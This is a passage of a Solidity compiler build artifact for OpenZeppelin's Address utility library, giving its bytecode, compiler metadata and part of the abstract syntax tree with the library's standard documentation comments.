+{"abi":[],"bytecode":{"object":"0x60556032600b8282823980515f1a607314602657634e487b7160e01b5f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220fa14616fbc33e2fca0c685283032a9be71b39f3b1c87929353f07e835440b5b964736f6c63430008180033","sourceMap":"194:8111:33:-:0;;;;;;;;;;;;;;;-1:-1:-1;;;194:8111:33;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220fa14616fbc33e2fca0c685283032a9be71b39f3b1c87929353f07e835440b5b964736f6c63430008180033","sourceMap":"194:8111:33:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"details\":\"Collection of functions related to the address type\",\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":\"Address\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":"Address"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-08/contracts/utils/Address.sol","id":48260,"exportedSymbols":{"Address":[48259]},"nodeType":"SourceUnit","src":"101:8205:33","nodes":[{"id":47966,"nodeType":"PragmaDirective","src":"101:23:33","nodes":[],"literals":["solidity","^","0.8",".1"]},{"id":48259,"nodeType":"ContractDefinition","src":"194:8111:33","nodes":[{"id":47982,"nodeType":"FunctionDefinition","src":"1175:320:33","nodes":[],"body":{"id":47981,"nodeType":"Block","src":"1241:254:33","nodes":[],"statements":[{"expression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":47979,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"expression":{"id":47975,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47970,"src":"1465:7:33","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":47976,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1473:4:33","memberName":"code","nodeType":"MemberAccess","src":"1465:12:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":47977,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1478:6:33","memberName":"length","nodeType":"MemberAccess","src":"1465:19:33","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":47978,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1487:1:33","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1465:23:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":47974,"id":47980,"nodeType":"Return","src":"1458:30:33"}]},"documentation":{"id":47968,"nodeType":"StructuredDocumentation","src":"216:954:33","text":" @dev Returns true if `account` is a contract.\n [IMPORTANT]\n ====\n It is unsafe to assume that an address for which this function returns\n false is an externally-owned account (EOA) and not a contract.\n Among others, `isContract` will return false for the following\n types of addresses:\n - an externally-owned account\n - a contract in construction\n - an address where a contract will be created\n - an address where a contract lived, but was destroyed\n ====\n [IMPORTANT]\n ====\n You shouldn't rely on `isContract` to protect against flash loan attacks!\n Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n constructor.\n ===="},"implemented":true,"kind":"function","modifiers":[],"name":"isContract","nameLocation":"1184:10:33","parameters":{"id":47971,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47970,"mutability":"mutable","name":"account","nameLocation":"1203:7:33","nodeType":"VariableDeclaration","scope":47982,"src":"1195:15:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":47969,"name":"address","nodeType":"ElementaryTypeName","src":"1195:7:33","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1194:17:33"},"returnParameters":{"id":47974,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47973,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":47982,"src":"1235:4:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":47972,"name":"bool","nodeType":"ElementaryTypeName","src":"1235:4:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1234:6:33"},"scope":48259,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":48016,"nodeType":"FunctionDefinition","src":"2412:312:33","nodes":[],"body":{"id":48015,"nodeType":"Block","src":"2483:241:33","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":47997,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":47993,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2509:4:33","typeDescriptions":{"typeIdentifier":"t_contract$_Address_$48259","typeString":"library Address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Address_$48259","typeString":"library Address"}],"id":47992,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2501:7:33","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":47991,"name":"address","nodeType":"ElementaryTypeName","src":"2501:7:33","typeDescriptions":{}}},"id":47994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2501:13:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":47995,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2515:7:33","memberName":"balance","nodeType":"MemberAccess","src":"2501:21:33","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":47996,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47987,"src":"2526:6:33","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2501:31:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416464726573733a20696e73756666696369656e742062616c616e6365","id":47998,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2534:31:33","typeDescriptions":{"typeIdentifier":"t_stringliteral_5597a22abd0ef5332f8053862eb236db7590f17e2b93a53f63a103becfb561f9","typeString":"literal_string \"Address: insufficient balance\""},"value":"Address: insufficient balance"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_5597a22abd0ef5332f8053862eb236db7590f17e2b93a53f63a103becfb561f9","typeString":"literal_string \"Address: insufficient balance\""}],"id":47990,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2493:7:33","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":47999,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2493:73:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48000,"nodeType":"ExpressionStatement","src":"2493:73:33"},{"assignments":[48002,null],"declarations":[{"constant":false,"id":48002,"mutability":"mutable","name":"success","nameLocation":"2583:7:33","nodeType":"VariableDeclaration","scope":48015,"src":"2578:12:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":48001,"name":"bool","nodeType":"ElementaryTypeName","src":"2578:4:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":48009,"initialValue":{"arguments":[{"hexValue":"","id":48007,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2626:2:33","typeDescriptions":{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""},"value":""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470","typeString":"literal_string \"\""}],"expression":{"id":48003,"name":"recipient","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47985,"src":"2596:9:33","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":48004,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2606:4:33","memberName":"call","nodeType":"MemberAccess","src":"2596:14:33","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":48006,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"id":48005,"name":"amount","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47987,"src":"2618:6:33","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"2596:29:33","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":48008,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2596:33:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"2577:52:33"},{"expression":{"arguments":[{"id":48011,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48002,"src":"2647:7:33","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564","id":48012,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2656:60:33","typeDescriptions":{"typeIdentifier":"t_stringliteral_51ddaa38748c0a1144620fb5bfe8edab31ea437571ad591a7734bbfd0429aeae","typeString":"literal_string \"Address: unable to send value, recipient may have reverted\""},"value":"Address: unable to send value, recipient may have reverted"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_51ddaa38748c0a1144620fb5bfe8edab31ea437571ad591a7734bbfd0429aeae","typeString":"literal_string \"Address: unable to send value, recipient may have reverted\""}],"id":48010,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2639:7:33","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":48013,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2639:78:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":48014,"nodeType":"ExpressionStatement","src":"2639:78:33"}]},"documentation":{"id":47983,"nodeType":"StructuredDocumentation","src":"1501:906:33","text":" @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n `recipient`, forwarding all available gas and reverting on errors.\n https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n of certain opcodes, possibly making contracts go over the 2300 gas limit\n imposed by `transfer`, making them unable to receive funds via\n `transfer`. {sendValue} removes this limitation.\n https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n IMPORTANT: because control is transferred to `recipient`, care must be\n taken to not create reentrancy vulnerabilities. Consider using\n {ReentrancyGuard} or the\n https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]."},"implemented":true,"kind":"function","modifiers":[],"name":"sendValue","nameLocation":"2421:9:33","parameters":{"id":47988,"nodeType":"ParameterList","parameters":[{"constant":false,"id":47985,"mutability":"mutable","name":"recipient","nameLocation":"2447:9:33","nodeType":"VariableDeclaration","scope":48016,"src":"2431:25:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":47984,"name":"address","nodeType":"ElementaryTypeName","src":"2431:15:33","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":47987,"mutability":"mutable","name":"amount","nameLocation":"2466:6:33","nodeType":"VariableDeclaration","scope":48016,"src":"2458:14:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":47986,"name":"uint256","nodeType":"ElementaryTypeName","src":"2458:7:33","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2430:43:33"},"returnParameters":{"id":47989,"nodeType":"ParameterList","parameters":[],"src":"2483:0:33"},"scope":48259,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48033,"nodeType":"FunctionDefinition","src":"3466:173:33","nodes":[],"body":{"id":48032,"nodeType":"Block","src":"3555:84:33","nodes":[],"statements":[{"expression":{"arguments":[{"id":48027,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48019,"src":"3585:6:33","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48028,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48021,"src":"3593:4:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"416464726573733a206c6f772d6c6576656c2063616c6c206661696c6564","id":48029,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3599:32:33","typeDescriptions":{"typeIdentifier":"t_stringliteral_24d7ab5d382116e64324f19950ca9340b8af1ddeb09a8d026e0a3c6a01dcc9df","typeString":"literal_string \"Address: low-level call failed\""},"value":"Address: low-level call failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_stringliteral_24d7ab5d382116e64324f19950ca9340b8af1ddeb09a8d026e0a3c6a01dcc9df","typeString":"literal_string \"Address: low-level call failed\""}],"id":48026,"name":"functionCall","nodeType":"Identifier","overloadedDeclarations":[48033,48053],"referencedDeclaration":48053,"src":"3572:12:33","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,string memory) returns (bytes memory)"}},"id":48030,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3572:60:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48025,"id":48031,"nodeType":"Return","src":"3565:67:33"}]},"documentation":{"id":48017,"nodeType":"StructuredDocumentation","src":"2730:731:33","text":" @dev Performs a Solidity function call using a low level `call`. A\n plain `call` is an unsafe replacement for a function call: use this\n function instead.\n If `target` reverts with a revert reason, it is bubbled up by this\n function (like regular Solidity function calls).\n Returns the raw returned data. To convert to the expected return value,\n use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n Requirements:\n - `target` must be a contract.\n - calling `target` with `data` must not revert.\n _Available since v3.1._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionCall","nameLocation":"3475:12:33","parameters":{"id":48022,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48019,"mutability":"mutable","name":"target","nameLocation":"3496:6:33","nodeType":"VariableDeclaration","scope":48033,"src":"3488:14:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48018,"name":"address","nodeType":"ElementaryTypeName","src":"3488:7:33","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48021,"mutability":"mutable","name":"data","nameLocation":"3517:4:33","nodeType":"VariableDeclaration","scope":48033,"src":"3504:17:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48020,"name":"bytes","nodeType":"ElementaryTypeName","src":"3504:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"3487:35:33"},"returnParameters":{"id":48025,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48024,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48033,"src":"3541:12:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48023,"name":"bytes","nodeType":"ElementaryTypeName","src":"3541:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"3540:14:33"},"scope":48259,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48053,"nodeType":"FunctionDefinition","src":"3861:223:33","nodes":[],"body":{"id":48052,"nodeType":"Block","src":"4008:76:33","nodes":[],"statements":[{"expression":{"arguments":[{"id":48046,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48036,"src":"4047:6:33","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48047,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48038,"src":"4055:4:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"hexValue":"30","id":48048,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4061:1:33","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},{"id":48049,"name":"errorMessage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48040,"src":"4064:12:33","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":48045,"name":"functionCallWithValue","nodeType":"Identifier","overloadedDeclarations":[48073,48123],"referencedDeclaration":48123,"src":"4025:21:33","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_uint256_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,uint256,string memory) returns (bytes memory)"}},"id":48050,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4025:52:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48044,"id":48051,"nodeType":"Return","src":"4018:59:33"}]},"documentation":{"id":48034,"nodeType":"StructuredDocumentation","src":"3645:211:33","text":" @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n `errorMessage` as a fallback revert reason when `target` reverts.\n _Available since v3.1._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionCall","nameLocation":"3870:12:33","parameters":{"id":48041,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48036,"mutability":"mutable","name":"target","nameLocation":"3900:6:33","nodeType":"VariableDeclaration","scope":48053,"src":"3892:14:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48035,"name":"address","nodeType":"ElementaryTypeName","src":"3892:7:33","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48038,"mutability":"mutable","name":"data","nameLocation":"3929:4:33","nodeType":"VariableDeclaration","scope":48053,"src":"3916:17:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48037,"name":"bytes","nodeType":"ElementaryTypeName","src":"3916:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48040,"mutability":"mutable","name":"errorMessage","nameLocation":"3957:12:33","nodeType":"VariableDeclaration","scope":48053,"src":"3943:26:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":48039,"name":"string","nodeType":"ElementaryTypeName","src":"3943:6:33","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"3882:93:33"},"returnParameters":{"id":48044,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48043,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":48053,"src":"3994:12:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48042,"name":"bytes","nodeType":"ElementaryTypeName","src":"3994:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"3993:14:33"},"scope":48259,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":48073,"nodeType":"FunctionDefinition","src":"4446:254:33","nodes":[],"body":{"id":48072,"nodeType":"Block","src":"4589:111:33","nodes":[],"statements":[{"expression":{"arguments":[{"id":48066,"name":"target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48056,"src":"4628:6:33","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":48067,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48058,"src":"4636:4:33","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":48068,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48060,"src":"4642:5:33","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"416464726573733a206c6f772d6c6576656c2063616c6c20776974682076616c7565206661696c6564","id":48069,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"4649:43:33","typeDescriptions":{"typeIdentifier":"t_stringliteral_88a4a0b5e975840320a0475d4027005235904fdb5ece94df156f3d717cb2dbfc","typeString":"literal_string \"Address: low-level call with value failed\""},"value":"Address: low-level call with value failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_stringliteral_88a4a0b5e975840320a0475d4027005235904fdb5ece94df156f3d717cb2dbfc","typeString":"literal_string \"Address: low-level call with value failed\""}],"id":48065,"name":"functionCallWithValue","nodeType":"Identifier","overloadedDeclarations":[48073,48123],"referencedDeclaration":48123,"src":"4606:21:33","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_uint256_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (address,bytes memory,uint256,string memory) returns (bytes memory)"}},"id":48070,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4606:87:33","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"functionReturnParameters":48064,"id":48071,"nodeType":"Return","src":"4599:94:33"}]},"documentation":{"id":48054,"nodeType":"StructuredDocumentation","src":"4090:351:33","text":" @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n but also transferring `value` wei to `target`.\n Requirements:\n - the calling contract must have an ETH balance of at least `value`.\n - the called Solidity function must be `payable`.\n _Available since v3.1._"},"implemented":true,"kind":"function","modifiers":[],"name":"functionCallWithValue","nameLocation":"4455:21:33","parameters":{"id":48061,"nodeType":"ParameterList","parameters":[{"constant":false,"id":48056,"mutability":"mutable","name":"target","nameLocation":"4494:6:33","nodeType":"VariableDeclaration","scope":48073,"src":"4486:14:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":48055,"name":"address","nodeType":"ElementaryTypeName","src":"4486:7:33","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":48058,"mutability":"mutable","name":"data","nameLocation":"4523:4:33","nodeType":"VariableDeclaration","scope":48073,"src":"4510:17:33","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":48057,"name":"bytes","nodeType":"ElementaryTypeName","src":"4510:5:33","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":48060,"mutability":"mutable","name":"value","nameLocation":"4545:5:33","nodeType":"VariableDeclaration","scope":48073,"src":"4537:13:33","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":48059,"name":"uint256","nodeType":"ElementaryTypeName","src":"4537:7:33","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4476:80:33"},"returnParameters":{"id":48064,"nodeTy